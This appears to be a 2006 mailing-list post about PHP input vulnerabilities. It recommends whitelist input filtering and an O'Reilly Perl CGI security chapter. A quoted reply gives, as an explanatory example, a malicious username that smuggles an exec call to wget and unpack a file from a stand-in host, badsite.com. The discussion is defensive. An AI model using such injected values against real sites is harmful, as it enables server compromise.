[CS-FSLUG] PHP vulnerabilities?

Yama Ploskonka Yama at veritasacademy.net
Fri Jun 2 10:08:27 CDT 2006

When I first started using user-input scripts, one of the things  I read 
about was to filter ALL input to avoid anything bad coming in, in a 
subroutine that deals with every input before it is handled on to the 
rest of the script.

The suggestion was instead of filtering things _out_ (things like a 
backslash), it is safer to filter things allowed in (letters, numbers, 
underscore, space, hyphen, period, question mark, exclamation point).

This has been my favorite book for PERL.  Originally I photocopied it 
from the one copy in the University library in Uruguay, then when 
finally in the Land of Plenty was able to buy my own:

CGI Programming with Perl
Guelich, Gundavaram, Birznieks - O'Reilly

The _Security_ chapter is in pp. 194 on.  Interesting exposition also of 
your responsibility and liability as a coder.

O'Reilly's website last year had it for free download and or reading


Ed Hurst wrote:
> Tim Young wrote:
>> There are quite a number of ways to do this sort of thing.  Most of the 
>> time it is a poorly written PHP (or other language) script.  The basic 
>> thing is when you give someone the ability to input something.  For 
>> example, a username.
>> Instead of having a username "Tim", they use something like:
>>     "Tim; \"exec('wget http://badsite.com/badfile.tgz; tar -xzf 
>> badfile.tgz')\""
> Excellent explanation! I may never, ever use PHP for anything, but I
> understood the concept. Checking input for a valid user name, and
> warning new users as they register, is thus a hallmark of having RTFM.
> Thanks. I'll be using this the next time I get questions from site admins.

More information about the Christiansource mailing list